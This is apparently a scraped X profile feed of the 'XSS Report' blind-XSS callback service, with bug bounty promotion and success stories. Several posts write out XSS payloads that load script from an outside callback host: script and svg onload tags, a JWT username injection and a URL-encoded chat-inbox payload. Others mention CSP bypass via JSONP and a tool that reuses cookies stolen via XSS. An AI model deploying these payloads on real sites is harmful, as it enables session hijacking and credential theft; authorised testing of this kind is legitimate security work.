XSS Report
@XssReport
Followers
860
Following
184
Media
13
Statuses
64
The official X account for the https://t.co/aVdNMc0ZRW project. Please use the link on the website as a contact
Joined January 2023
Woke up on Blind xss notification ๐ฅฑ One of ma blind xss payload fired on the admin panels ๐ #BugBounty #BugBountytips
7
2
137
@OreoB1scuit @Freyxfi @intigriti Th victim is the admin page which is vulnerable to xss if it is vulnerable to xss a notification comes (containing the cookie, Dom elememts,ip,the website and path) if you use an online platform like https://t.co/DxLJx8BOwp for the payloads this is blind xss by the way
xss.report
Discover and address blind XSS vulnerabilities effectively using the automated services of xss.report.
2
2
4
You can easily test your XSS payloads with this 3-character domain name. <script src='//ใ.๏ฌ'> <svg/onload=import('//ใ.๏ฌ')> #xss @xssreport
3
14
129
Users who have obtained VIP access for testing can now use a 4-character domain name, excluding the username. You will be able to access more with the additional features we will be introducing soon. We have special surprises coming soon that we will be announcing.
Our 5-character domain is now open to select users! Only 5 slots left. Donโt miss, send us a DM! #xss #BugBounty
1
1
45
You know well where the payload is. it's just a click away and it's free. it's not a dream just a click away. https://t.co/BbA7gO0Av1
xss.report
Discover and address blind XSS vulnerabilities effectively using the automated services of xss.report.
๐ Blind XSS: The invisible injection point and delayed execution make them an easily overlooked vulnerability... ๐ง Yet, they still have a severe impact on any organisation! ๐ค In our technical article, we documented our methodology for finding blind XSS vulnerabilities,
1
0
6
Our 5-character domain is now open to select users! Only 5 slots left. Donโt miss, send us a DM! #xss #BugBounty
4
0
12
After sending requests, the error logs started reflecting my payload. 1 hour laterโฆ I heard the @xssreport Telegram notification sound. And yes, it triggered. XSS achieved. ๐ฏ #bugbounty #infosec #xss
0
0
1
At this point, I thought: What if these logs are being processed in a private panel? ๐ค So I crafted this JWT payload: { "username": "test3rbb'\"><script src= https://t.co/GGlzDEogxU></script>", "guid": "bd874709-aac7-485a-a46d-6e33964ea930", "iat": 1754042605 }
1
0
1
"First, I bypassed JWT authentication by brute force the secret key. Once inside, I noticed some requests returned error messages. Digging deeper, I realized the app was logging the username field from the JWT into error messages debug mode was on. (sadly, no bonus for that ๐
)
1
0
1
๐จ Sharing an unbelievable XSS scenario. Why? Because @XSSReport users know XSS is not just an alert(1), it's an art. One of our followers analyzed the architecture, studied the attack surface, and came up with this ๐
1
0
2
๐ฅ XSS pros, whatโs your secret to finding hidden endpoints? ๐ต๏ธโโ๏ธ #xss #BugBounty #bugbountytips
1
0
1
Full list here:
github.com
CSPBypass.com, a tool designed to help ethical hackers bypass restrictive Content Security Policies (CSP) and exploit XSS (Cross-Site Scripting) vulnerabilities on sites where injections are blocke...
Is your XSS held back by script-src CSP policy? Try one of the following JSONP endpoints to bypass CSP! ๐
1
11
62
๐งช Unsure where your XSS payload is firing? Itโs not always obvious from the sourceโฆ ๐ฏ Use the Custom Parameter feature to isolate and test input fields (like "name", "email", etc.) directly. Visualize it. Confirm it. Exploit it. ๐ https://t.co/BbA7gO0Av1
#BugBounty #XSS
0
0
6
๐จ Jai Shri Ram ๐ Just secured a $100 bounty! Bug Types: 1.Blind xss in chat inbox payload used '%22%3E%3Cscript%20src= https://t.co/EyGg7tFECY
#CyberSecurity #BugBounty #prerna #EthicalHacking #SecurityResearcher #Hacker #BugHunter #InfoSec #Reward #Exploit #ServerSecurity
4
5
71
Found an XSS vulnerability but received a $1,337 bounty? ๐ Keep grinding, hunters! Big ๐ธ awaits! Share your funniest bounty tale in reply! ๐ค https://t.co/BbA7gO0Av1
#BugBounty #XSS I was previously awarded $300 for an XSS I found in WordPress Core. Hahaha yes, admin finds #XSS
0
2
36
๐จ PRO TIPS for XSS Hunters Stop pasting the same alert(1) everywhere! ๐
โโ๏ธ๐ป โ
First, ask: Where does your input land? ๐ In a <textarea>? ๐ Inside an attribute? ๐ Between tags? ๐ฏ Tailor your payload to the context. Itโs not about luck โ itโs about logic ๐ง </textarea><script
0
8
51
When your XSS report gets โnot applicableโ but the siteโs still vulnโฆ ๐
Prove โem wrong with our tools: https://t.co/BbA7gO0Av1 Keep hunting, champs! ๐ #BugBounty #XSS
0
1
21
๐ Night-owl XSS hunters! ๐ต๏ธโโ๏ธ Whatโs your go-to WAF bypass trick? Drop it below & test our AI XSS Analyzer: https://t.co/BbA7gO0Av1 ๐ Best tip gets RTโd! #BugBounty #XSS
xss.report
Discover and address blind XSS vulnerabilities effectively using the automated services of xss.report.
0
0
9
๐ New Feature Alert on https://t.co/uVCBeEwMLN ๐ฅ We're leveling up your XSS game with AI-Powered XSS Analysis! ๐ง ๐ก No more guessing โ instantly see where your payload executes in the DOM! ๐ป DOM tracing made simple ๐ฏ Precision payload debugging โฑ๏ธ Save hours on manual testing
2
3
53
๐ New feature alert!๐ Introducing Storage Data JavaScript This powerful JS code auto-sets stolen cookies, Session Storage, and Local Storage values exploited via ๐ฅXSS๐ฅvulnerabilities. Enhance your security testing now! ๐ฅ #XSS ๐ฅ #Cybersecurity ๐ฅ
0
2
56